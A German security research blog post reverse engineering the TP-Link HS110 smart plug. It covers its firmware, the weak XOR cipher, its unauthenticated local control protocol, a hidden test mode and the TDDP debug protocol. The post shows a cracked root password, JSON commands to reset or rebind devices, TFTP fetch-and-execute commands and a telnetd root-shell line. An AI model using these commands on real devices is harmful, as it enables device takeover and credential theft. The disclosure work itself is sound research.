Reverse Engineering des TP-Link HS110

Der TP-Link HS110 Wi-Fi ist eine Cloud-fähige Steckdose, die per App ferngesteuert ein- und ausgeschaltet werden kann und Funktionen zur Energieüberwachung und Zeitplanung bietet. Im Rahmen fortlaufender Forschungen zur Sicherheit des Internets der Dinge haben wir eine Sicherheitsanalyse durchgeführt, indem wir die Geräte-Firmware und die Android-App zurückentwickelt (Reverse Engineering), die Kommunikation zwischen App und Gerät sowie zwischen Gerät und App abgehört und die verwendeten proprietären Protokolle gefuzzt haben.

Während die Cloud-Kommunikation für ein IoT-Gerät als einigermaßen sicher befunden wurde, entdeckten wir zwei unsichere proprietäre lokale Konfigurationsprotokolle: Ein menschenlesbares JSON-Protokoll, das mit einer leicht umkehrbaren Autokey-XOR-Chiffre “verschlüsselt” ist, und ein binäres DES-verschlüsseltes Konfigurations- und Debugging-Protokoll (TDDP – TP-Link Device Debug Protocol). TDDP wird fast in der gesamten TP-Link-Produktlinie einschließlich Routern und Access Points verwendet und verdient daher weitere Forschung. Wir veröffentlichen außerdem einen Wireshark-Dissector und zwei Python-Clients für die proprietären Protokolle auf GitHub.

Inhalt

1. Zusammenfassung der Sicherheitsanalyse
2. Geräteeinrichtung
3. Reverse Engineering der Firmware
4. Busybox
5. Portscan
6. TP-Link Smart Home Protocol
7. Testmodus
8. TP-Link Device Debug Protocol

1. Zusammenfassung der Sicherheitsanalyse

Das Gute

• Cloud-Funktionalität kann ausgeschaltet werden
• Cloud-Kommunikation nutzt HTTPS und CA-Pinning
• Speichert Energieüberwachungsdaten lokal
• Firmware-Update prüft Signatur gegen RSA-Schlüssel

Das Schlechte

• Nutzlose Verschlüsselung für lokale Kommunikation
• Keine Authentifizierung: Jeder im lokalen Netzwerk kann den Smart Plug ein- und ausschalten, zurücksetzen oder unbrauchbar machen
• TLS-Cloud-Verbindung könnte mit jedem gültigen Symantec EV-Zertifikat abgefangen werden (nur Root-CA wird geprüft)
• Telefoniert nach Hause, auch wenn als rein lokal eingerichtet
• Undokumentierter Konfigurations- und Debug-Dienst (TDDP)

2. Geräteeinrichtung

Der Smart Plug hat zwei physische Tasten: Einen Ein/Aus-Relaisschalter und eine Geräte-Reset-Taste, die das Gerät zurücksetzt, wenn sie fünf Sekunden oder länger gedrückt wird. Wenn er eingesteckt wird, startet ein unkonfigurierter oder frisch zurückgesetzter Smart Plug einen ungesicherten offenen Access Point mit der SSID “TP-LINK_Smart Plug_XXXX”, wobei XXXX vier hexadezimale Zahlen sind. Eine schnelle Suche auf WiGLE enthüllt mehrere unkonfigurierte TP-Link Smart Plugs in freier Wildbahn:

TP-Links Smart Home App “Kasa” lässt das Smartphone sich mit diesem Access Point verbinden, sendet UDP-Broadcast-Pakete an 255.255.255.255, um die IP des Smart Plugs zu finden, und fährt fort, ihn mit der SSID und dem Passwort zu konfigurieren, die der Benutzer in die App eingegeben hat. Der Smart Plug schaltet dann den Access Point aus und verbindet sich als Client mit dem konfigurierten WLAN.

Wir führen einen KARMA-Angriff mit dem Sensepost MANA Toolkit durch, deauthentifizieren den Smart Plug zwangsweise und versuchen, ihn dazu zu bringen, sich mit einem Rogue Access Point mit derselben SSID und keiner Sicherheit zu verbinden. Der Angriff ist nicht erfolgreich; wiederholte Deauthentifizierung kann jedoch verwendet werden, um einen vorübergehenden Denial-of-Service-Angriff gegen das Gerät durchzuführen.

3. Reverse Engineering der TP-Link HS110 Firmware

Wir laden die aktuelle offizielle Firmware für das Gerät (HS110(US)_V1_151016.zip) herunter und verwenden binwalk, um den Inhalt der .bin-Datei zu extrahieren:

Wie wir sehen können, ist die Firmware ein typisches eingebettetes Linux-System und enthält drei Teile:

• U-Boot Bootloader 1.1.4 (Oct 16 2015 – 11:22:22)
• Linux Kernel 2.6.31—LSDK-9.2.0_U11.14 ("yt@yangtao.localdomain")
• Squashfs-Dateisystem

Bei der Untersuchung des Inhalts des Dateisystems finden wir die folgenden interessanten Dateien:

• /bin/busybox v1.01 (2015.10.16-03:17+0000)
• /etc/newroot2048.crt

Dies ist das Zertifikat, das zur Überprüfung der Identität des Cloud-Servers verwendet wird. Die Datei enthält das Root-Zertifikat “VeriSign Class 3 Public Primary Certification Authority – G5”. Das bedeutet, dass die einzige Prüfung, die beim Aufbau einer TLS-Verbindung zum Cloud-Server durchgeführt wird, darin besteht, ob das bereitgestellte Serverzertifikat von der Symantec/VeriSign CA für Extended Validation (EV)-Zertifikate signiert wurde (CA-Pinning). Ein entschlossener Angreifer könnte sein eigenes EV-Zertifikat kaufen und es verwenden, um sich als Cloud-Server auszugeben.

• /etc/shadow

root:7KBNXuMnKTx6g:15502:0:99999:7:::

Das altmodische DES-crypt-Passwort ist trivial zu knacken, das Passwort ist “media”.

• /usr/bin/shd – die Haupt-Serveranwendung
• /usr/bin/shdTester – Client zur Kalibrierung des Energiemanagers
• /usr/bin/calDump – dumpt WLAN-Kalibrierungsdaten von /dev/caldata

Die gesamte proprietäre Serverlogik ist in der shd (“Smart Home Daemon”) Binärdatei enthalten, die MIPS32 R2 Big Endian ist:

shd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), 
dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

Die shd-Binärdatei enthält auch eine Kopie von OpenSSL 1.0.1j 15 Oct 2014 zum Aufbau von TLS-Verbindungen zum Cloud-Server. Wir laden die shd-Binärdatei in IDA und beginnen mit der Analyse!

4. Busybox

Die in der Firmware bereitgestellte Busybox-Version ist anfällig für CVE-2011-2716, eine Command-Injection-Schwachstelle in der udhcpc DHCP-Client-Komponente von Busybox, die es erlaubt, Shell-Befehle in eine der folgenden DHCP-Optionen einzuschleusen: (12) Hostname, (15) Domainname, (40) NIS-Domain oder (66) TFTP-Servername. Damit dies funktioniert, müssen diese Werte tatsächlich von dem Shell-Skript verwendet werden, das udhcpc aufruft. Bei der Analyse der Firmware stellen wir fest, dass die shd-Binärdatei ein Shell-Skript /tmp/udhcpc.script erstellt, das enthält:

#!/bin/sh
if[ $1 = renew –o $1 = bound]
then
  ifconfig $interface $ip netmask $subnet
  route del default
  route add default gw $router
  echo "nameserver $dns" > /tmp/resolv.conf
fi

Es führt dann udhcpc aus:

/sbin/udhcpc –b –H "HS100(US)" –i br0 –s /tmp/udhcpc.script

Wie wir sehen können, ist der Hostname fest codiert und keine der anderen Optionen wird verwendet. Leider ist die udhcpc-Schwachstelle in diesem Fall nicht ausnutzbar.

5. Portscan

Ein nmap-Portscan auf allen TCP- und UDP-Ports enthüllt Folgendes:

Der Webserver auf Port 80 antwortet mit einer bedeutungslosen Ellipse, unabhängig davon, was die Anfrage ist:

HTTP/1.1 200 OK
Server: TP-LINK Smart Plug
Connection: close
Content-Length: 5
Content-Type: text/html
…

Wenn wir durch die shd-Binärdatei schauen, sehen wir, dass die HTTP-Server-Routine “fake_httpd” heißt und immer diese fest codierte Antwort zurückgibt.

Port 9999 TCP wird zur Steuerung des Smart Plugs im lokalen Netzwerk über die Kasa App verwendet und ist im Abschnitt TP-Link Smart Home Protocol beschrieben. Port 1040 UDP wird im Abschnitt TP-Link Device Debug Protocol beschrieben.

6. TP-Link Smart Home Protocol

Das Abhören des lokalen drahtlosen Netzwerkverkehrs zeigt, dass die TP-Link Kasa SmartHome App mit dem HS110 Smart Plug auf TCP-Port 9999 kommuniziert und dabei etwas verwendet, das wie verschlüsselte Daten aussieht.

Nach dem Dekompilieren der Kasa App für Android finden wir die Verschlüsselungsfunktion:

public static byte [] m7377b (byte [] bArr){
  if (bArr != null && bArr.length > 0)
    int i = -85:
    for (int i2 = 0; i2 < bArr.length; i2++){
      byte b = (byte) (i ^ bArr[i2]);
      i = bArr[i2l;
      bArr[i2] = b:
    }
  }
  return bArr:
}

Wir sehen, dass der initiale Schlüssel (Initialisierungsvektor) i einen fest codierten Wert von -85 (= 171) hat. Das erste Byte des Klartextes wird mit dem Schlüssel XOR-verknüpft. Der Schlüssel wird dann auf das Klartext-Byte gesetzt. Während der nächsten Iteration wird das nächste Klartext-Byte mit dem vorherigen Klartext-Byte XOR-verknüpft. Die Entschlüsselung funktioniert genauso, wobei der Schlüsselstrom aus Chiffretext-Bytes besteht. Dies ist als Autokey-Chiffre bekannt und hat zwar bessere statistische Eigenschaften als eine einfache XOR-Verschlüsselung mit wiederholendem Schlüssel, kann aber leicht durch Known-Plaintext-Angriffe gebrochen werden.

Nun, da wir den Algorithmus und den Schlüssel kennen, implementieren wir einen Wireshark-Dissector in LUA, der TP-Link Smart Home-Pakete auf Port 9999 automatisch entschlüsselt. Es stellt sich heraus, dass das Protokoll JSON verwendet, also übergeben wir den entschlüsselten Inhalt auch an den JSON-Dissector. Wir können nun die Kommunikation zwischen der Kasa App und dem Smart Plug im lokalen WLAN überwachen:

Die Smart Plug Befehle sind in folgende Kategorien gruppiert:

• system
• netif (WLAN-Schnittstellenbefehle)
• cnCloud (Cloud-Verbindung)
• time (Zeit)
• emeter (Energiemessgerät)
• schedule (geplantes Ein/Aus)
• count_down (Countdown Ein/Aus)
• anti_theft (zufälliges geplantes Ein/Aus)

Wir stellen eine umfassende Liste von JSON-Befehlen (tplink-smarthome-commands.txt) und einen Python-Client zum Senden derselben (tplink_smartplug.py) zur Verfügung.

6.1 Systembefehle

Wir können Informationen über das System mit dem Befehl get_sysinfo auslesen:

{"system":{"get_sysinfo":{}}}

Um den Befehl mit unserem Python-Client zu senden, rufen Sie ihn mit der Option –c info auf:

./tplink_smartplug.py –t 192.168.0.1 –c info

Wir stellen mehrere vordefinierte Befehle bereit, um Informationen vom HS110 Smart Plug mit –c Optionen auszulesen. Alternativ können Sie die Option –j verwenden und den vollständigen JSON-String angeben:

./tplink_smartplug.py –t 192.168.0.1 –j '{"system":{"get_sysinfo":{}}}'

Dies ermöglicht das Senden aller in tplink-smarthome-commands.txt aufgeführten Befehle. Die Antwort auf get_sysinfo enthält folgende Informationen:

Wir können den HS110 Smart Plug mit dem Befehl set_relay_state ein- und ausschalten, wobei 1 für an und 0 für aus verwendet wird:

{"system":{"set_relay_state":{"state":1}}}

Wir können den HS110 Smart Plug mit dem Befehl reboot neu starten, der einen delay-Parameter in Sekunden erfordert:

{"system":{"reboot":{"delay":1}}}

Der HS110 Smart Plug kann auf Werkseinstellungen zurückgesetzt werden, wodurch er wieder als offener Access Point fungiert:

{"system":{"reset":{"delay":1}}}

Beachten Sie, dass, da das Protokoll keine Authentifizierung bietet, jeder in Ihrem Netzwerk diesen Befehl senden und einen Reset erzwingen kann. Hier würde ein Scherzkeks einen hohen Verzögerungswert einstellen, was ihm Zeit gibt, das Gelände zu verlassen.

Es gibt weitere Befehle zum Ändern der MAC-Adresse, Ändern der Geräte- und Hardware-IDs, Ausschalten der Geräte-LED (Nachtmodus) usw.

Von besonderem Interesse sind die Firmware-Flashing-Befehle. Sie können eine Firmware-Datei von einer beliebigen URL herunterladen mit:

{"system":{"download_firmware":{"url":"http://..."}}}

Während des Herunterladens können Sie den Download-Status abrufen mit:

{"system":{"get_download_state":{}}}

Sobald der Download abgeschlossen ist, können Sie die Firmware flashen mit:

{"system":{"flash_firmware":{}}}

Das Flashen eines modifizierten Images funktioniert nicht, da die Signatur des Images mit einem von vier fest codierten RSA-Schlüsseln übereinstimmen muss (wir werden uns nicht in wilde Spekulationen darüber ergehen, warum es hier vier Schlüssel gibt):

6.2 WLAN-Befehle

Sie können den HS110 Smart Plug anweisen, nach einer Liste von Access Points in der Nähe zu scannen:

{"netif":{"get_scaninfo":{"refresh":1}}}

Dies gibt eine Liste aller verfügbaren sichtbaren APs in der Umgebung zurück.

Die Verbindung zu einem AP mit einer bestimmten SSID und einem Passwort erfolgt mit dem Befehl set_stainfo (key_type 3 zeigt WPA2 an):

{"netif":{"set_stainfo":{"ssid":"Wi-Fi","password":"123","key_type":3}}}

Beachten Sie, dass alle JSON-Befehle unabhängig vom Gerätestatus akzeptiert werden! Die Verbindung zu einem Access Point wäre nur im unkonfigurierten Zustand notwendig, wenn der HS110 Smart Plug als AP fungiert. Mit dem Befehl set_stainfo können Sie den Plug zwingen, sich im laufenden Betrieb mit einem anderen WLAN zu verbinden.

6.3 Cloud-Befehle

Der HS110 Smart Plug versucht regelmäßig, sich über TLS mit dem TP-Link Cloud-Server unter devs.tplinkcloud.com:50443 zu verbinden. Dieses Verhalten setzt sich fort, auch wenn der HS110 Smart Plug in der Kasa App als “nur lokal” konfiguriert ist. Glücklicherweise gibt es für uns einen Befehl, um die URL des Cloud-Servers zu ändern:

{"cnCloud":{"set_server_url":{"server":"devs.tplinkcloud.com"}}}

Die shd-Binärdatei versucht, eine TLS 1.0-Verbindung mit der angegebenen URL aufzubauen und prüft, ob das Serverzertifikat von Symantecs EV Root CA signiert ist, die unter /etc/newroot2048.crt gespeichert ist. Ein Angreifer mit den nötigen Mitteln könnte ein gültiges EV-Zertifikat kaufen und einen Man-in-the-Middle-Angriff auf die Kommunikation zwischen HS110 Smart Plug und Cloud durchführen.

Um das Gerät bei der Cloud zu registrieren, geben wir den bind-Befehl aus und geben einen gültigen Cloud-Kontonamen und ein Passwort an:

{"cnCloud":{"bind":{"username":alice@home.com, "password":"secret"}}}

Es ist interessant festzustellen, dass die Registrierung fehlschlägt, wenn die hwID des Smart Plugs dem Cloud-Server unbekannt ist. Das bedeutet, dass TP-Link entweder eine Prüfsumme oder eine andere Art von Plausibilitätsprüfung durchführt oder gegen eine vollständige Liste von Geräten prüft. So oder so erlaubt dies TP-Link, alle Geräte über ihre gesamte Lebensdauer zu verfolgen.

Sie können ein Gerät mit unbind vom Cloud-Konto abmelden:

{"cnCloud":{"unbind":null}}

Dies ermöglicht einem Angreifer im lokalen Netzwerk, das Gerät abzumelden und den Gerätebesitzer zu zwingen, sich neu zu registrieren. Der Angreifer kann dann den von der Kasa App gesendeten bind-Registrierungsbefehl abfangen und sieht die tplinkcloud.com-Zugangsdaten des Besitzers im Klartext!

7. Testmodus

Bei der Analyse der shd-Binärdatei entdeckten wir einen versteckten “Testmodus” im HS110 Smart Plug. Er kann aus der Ferne oder über ein Befehlszeilenargument für die shd-Binärdatei aufgerufen werden.

7.1 Befehlszeilen-Testmodus

Die shd-Binärdatei kann mit einer –t-Option gestartet werden, die sie in den Testmodus versetzt:

Dies ruft eine Funktion namens wlan_start_art auf, die vielversprechend aussieht, da sie den Atheros Radio Test (ART) Client-Code zum Leistungstesten von Atheros WLAN-Adaptern ausführt. Dieser Teil des Debugging-Codes führte bereits 2013 zu einer Schwachstelle in TP-Link Routern, wo er über eine versteckte URL auf dem Geräte-Webserver ausgelöst werden konnte: TP-Link http/tftp backdoor

Die Funktion wlan_start_art führt folgende Systembefehle aus:

LD_LIBRARY_PATH=/tmp
arping –I br0 –c 1 192.168.0.100
tftp –g 192.168.0.100 –r ap_bin/ap121/art.ko –l /tmp/art.ko
insmod /tmp/art.ko
tftp –g 192.168.0.100 –r ap_bin/ap121/nart.out –l /tmp/nart.out
chmod +x /tmp/nart.out
/tmp/nart.out –instance 0 &

Die Befehle verbinden sich mit einem TFTP-Server, laden eine Datei namens nart.out herunter, machen sie ausführbar und führen sie aus. Dies kann leicht verwendet werden, um das Gerät zu rooten. Alles, was man tun müsste, ist, ein Shell-Skript namens nart.out auf einem TFTP-Server mit der IP 192.168.0.100 unter dem Pfad ap_bin/ap121/ zu hosten. Das Shell-Skript würde den busybox telnetd Daemon starten:

/bin/busybox telnetd –l/bin/sh &

Wir haben jedoch keine Möglichkeit, die shd-Binärdatei auf dem Gerät mit der Option –t aufzurufen.

7.2 Remote Test Mode

Wenn wir alle JSON-Befehle in der shd-Binärdatei durchgehen, finden wir einen Befehl namens set_test_mode. Das bedeutet, der Testmodus kann aus der Ferne aktiviert werden!

Dies ist der einzige JSON-Befehl, der als primitive Art von Schutz erfordert, dass die Anfrage von der IP 192.168.0.100 stammt. Der einfachste Weg, dies zu tun, besteht darin, den HS110 Smart Plug zurückzusetzen und sich mit seinem AP zu verbinden, da der DHCP-Server so konfiguriert ist, dass er IPs beginnend mit 192.168.0.100 vergibt. Senden Sie als nächstes den Befehl set_test_mode:

./tplink-smarthome.py -t 192.168.0.1 -j '{"system":{"set_test_mode":{"enable":1}}}'

Dies schreibt ein spezielles Testmodus-Flag in den NVRAM des Geräts. Das Flag wird beim Booten geprüft, und wenn es gesetzt ist, bootet der HS110 Smart Plug in den Testmodus.

Starten Sie den Smart Plug neu mit:

./tplink-smarthome.py -t 192.168.0.1 -c reboot

Der Smart Plug wird versuchen, sich mit einem WPA2-gesicherten Access Point mit der SSID “hs_test” und dem Passwort “12345670” zu verbinden und dann das Relais des Steckers einschalten:

Um den hs_test AP einzurichten, verwenden wir hostapd mit der folgenden hostapd.conf:

interface=wlan0
driver=nl80211
ssid=hs_test
wpa=2
wpa_passphrase=12345670
channel=1

Wie erwartet verbindet sich der HS110 Smart Plug mit unserem hs_test AP. Wir beobachten dann, wie der Smart Plug sein normales Setup durchläuft: Fordert eine IP via DHCP an, synchronisiert die Zeit mit einem Server aus dem NTP-Pool (cn.pool.ntp.org) und verbindet sich mit dem TP-Link Cloud-Server unter devs.tplinkcloud.com:50443.

Leider unterschied sich das Verhalten des Smart Plugs im Testmodus nicht von dem nach einem normalen Boot. Während es im Code des Remote-Testmodus einen Verweis auf die Funktion wlan_start_art gibt, befindet er sich in einem Teil ohne Verweise, die dorthin führen. Das bedeutet wahrscheinlich, dass der Funktionsaufruf zu diesem Teil auskommentiert wurde.

8. TP-Link Device Debug Protocol

Ein Portscan des HS110 Smart Plugs enthüllte einen offenen UDP-Port von 1040. Bei der Analyse der shd-Binärdatei auf setsockopt() Aufrufe konnten wir sehen, dass der Port von einer Komponente namens “TDDP” gebunden wurde. Das Protokoll schien binär zu sein und auf sehr unauffällige Weise entworfen, so dass keinerlei Antwort gegeben wird, es sei denn, ein vollständig gültiges Paket wurde an den Port gesendet. Das Reverse Engineering des Protokolls wäre ein großes neues Unterfangen gewesen und glücklicherweise mussten wir das nicht tun.

Gehackt durch Patent

Nach einigem Googeln nach “TP-Link” und “TDDP” entdeckten wir, dass das Protokoll in China als Patente “CN 102096654 A” und “CN 102123140 B” patentiert worden war, die Google praktischerweise automatisch ins Englische übersetzt:

http://www.google.com/patents/CN102096654A?cl=en

Eine vollständige Protokollspezifikation ist in der Patentbeschreibung enthalten und zeigt Ihnen, wie man ein TDDP-Paket konstruiert.

TDDP kann verwendet werden, um ein TP-Link-Gerät im Netzwerk durch Broadcasts zu pingen oder zu entdecken, Konfigurationsoptionen zu lesen und zu setzen und spezielle gerätespezifische Befehle auszuführen. TDDP bietet Integrität durch einen MD5-Digest des gesamten Pakets, der im Paket-Header enthalten ist:

Es verschlüsselt auch die Nutzlast des Pakets unter Verwendung von DES. Das bedeutet, dass alle Konfigurationsdaten, die wir auslesen, in der Antwort verschlüsselt sind, und jede Konfiguration, die wir schreiben wollen, verschlüsselt gesendet werden muss.

Der DES-Schlüssel wird durch Verkettung des Benutzernamens und Passworts des Geräts, Bildung eines MD5-Hashes dieses Strings und anschließende Verwendung der ersten Hälfte des MD5s (16-stellige Hex-Zahl oder 8 Bytes) als DES-Schlüssel bestimmt:

md5(username + password)[:16]

Da der HS110 Smart Plug keine Authentifizierung bietet, sind Benutzername und Passwort fest in der shd-Binärdatei als admin/admin codiert:

Für andere TP-Link-Geräte bedeutet dies, dass ein Angreifer eine hocheffiziente Möglichkeit hat, auf Standardpasswörter zu prüfen und einen Offline-Brute-Force-Angriff auf das Login durchzuführen. Mit einem einzigen UDP-Paket können sie Informationen anfordern, die bereits bekannt sind (wir fanden eine “Heartbeat”/Ping-Anfrage im SmartPlug, die immer “ABCD0110 zurückgibt) oder leicht bestimmt werden können (z.B. MAC-Adresse). Die verschlüsselte Antwort kann dann offline per Brute-Force geknackt werden, indem verschiedene Kombinationen für Benutzername (wahrscheinlich “admin”) und Passwort ausprobiert werden.

Wir stellen einen sehr einfachen Proof-of-Concept TDDP-Client zur Verfügung, der versucht, einen von drei Werten von einem TP-Link-Gerät durch Verwendung eines Pakettyps von 0x03 und spezifischen Hex-Werten im “SubType” Header-Feld auszulesen:

0x0A gibt den Teststring “ABCD0110” zurück, 0x012 gibt die Geräte-ID zurück und 0x14 gibt die Hardware-ID zurück. Sie könnten auf anderen Arten von TP-Link-Geräten andere Arten von Informationen zurückgeben. Wir fanden auch zusätzliche Werte, die die Geräte-ID (0x13, 0x15), die Hardware-ID (0x12) und die MAC-Adresse (0x06) änderten.

Das binäre TDDP-Protokoll verdient weitere Forschung, da es auf einer breiten Palette von TP-Link-Geräten verfügbar ist. Die Möglichkeit für gerätespezifische Spezialbefehle (CMD_SPE_OPR) hat das Potenzial, undokumentierte Funktionen, Schwachstellen oder sogar Hintertüren aufzudecken. Als nächstes sollten verschiedene TP-Link-Geräte mit der vollen Bandbreite an Hex-Werten im TDDP-Header gefuzzt und ihr Verhalten überwacht und analysiert werden.

UPDATE 19.06.2018

TP-Link hat seine Firmware aktualisiert. Wenn Sie dieses Firmware-Upgrade installieren, funktioniert tplink_smartplug.py nicht mehr.

UPDATE 04.07.2018

Wir haben unser Tool aktualisiert. Es unterstützt jetzt TP-Link HS100, HS105 und HS110 mit der neuesten Firmware. Hostnamen anstelle von IP-Adressen werden ebenfalls unterstützt und das Skript kann jetzt als Python-Modul importiert werden. Ein großes Dankeschön an die Personen, die Issues und Pull Requests auf GitHub geöffnet haben.

Lesen Sie über weitere interessante Themen in unserem Blog.